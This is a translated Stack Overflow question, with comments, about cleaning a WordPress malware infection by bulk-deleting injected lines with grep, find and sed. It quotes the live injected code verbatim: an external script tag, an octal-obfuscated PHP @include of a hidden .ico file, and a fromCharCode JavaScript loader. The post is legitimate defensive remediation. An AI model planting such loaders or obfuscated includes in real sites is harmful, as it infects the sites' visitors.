【发布时间】:2020-03-04 05:22:33
【问题描述】:
所以我的整个服务器都被黑了或者出现了恶意软件问题。我的网站基于 WordPress,我的服务器上托管的大多数网站都是基于 WordPress 的。黑客将这行代码添加到每个文件和数据库中
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
我确实使用 grep 搜索过它
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
我正在尝试用sed 替换整个文件结构中的它,并且我已经编写了以下命令。
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
我正在尝试首先替换单个文件 index.php 上的字符串,所以我知道它有效。
我知道我的代码是错误的。请帮我解决这个问题。
我尝试使用@Eran 的代码,它删除了整行,这很好,符合预期。但是,总的行话是这样的
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
虽然我希望删除所有内容,但我希望保留 php 开始标记 <?php。
虽然@slybloty 的解决方案很简单而且很有效。
所以要从所有受影响的文件中完全删除代码。我正在运行以下 3 个命令,谢谢大家。
-
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"- 删除脚本行 -
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- 删除@include行 -
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'- 删除评论行
另外,我再次为'*.html' 运行了所有 3 个命令,因为黑客的脚本在所有目录中创建了不需要的 index.html。我不确定批量删除这些 index.html 是否正确。
现在,我还需要弄清楚垃圾文件和它的踪迹。
黑客脚本也添加了 JS 代码。
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
我也试试看能不能sed。
【问题讨论】:
-
你怎么知道你的代码错了?
-
因为,我运行了它,它不断在下一行要求更多输入,比如` > `
-
不能直接删行吗? sed -i '/trasnaltemyrecords/d'
-
另外,您可以在其中添加您的 grep 以输入所有包含此行的文件,如下所示:
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l选项仅提供文件名而不是匹配文本。 -
还有一件事...如果您采用这种方法,我将利用
sed -i的“备份”可选参数。例如,sed -i.bak将为所有已编辑的文件创建一个*.bak文件。当与while...grep循环一起使用时,您将只备份包含该字符串的文件。对所有额外的 cmets 感到抱歉,但在我看来,恶意软件是一种“全力以赴”的场景。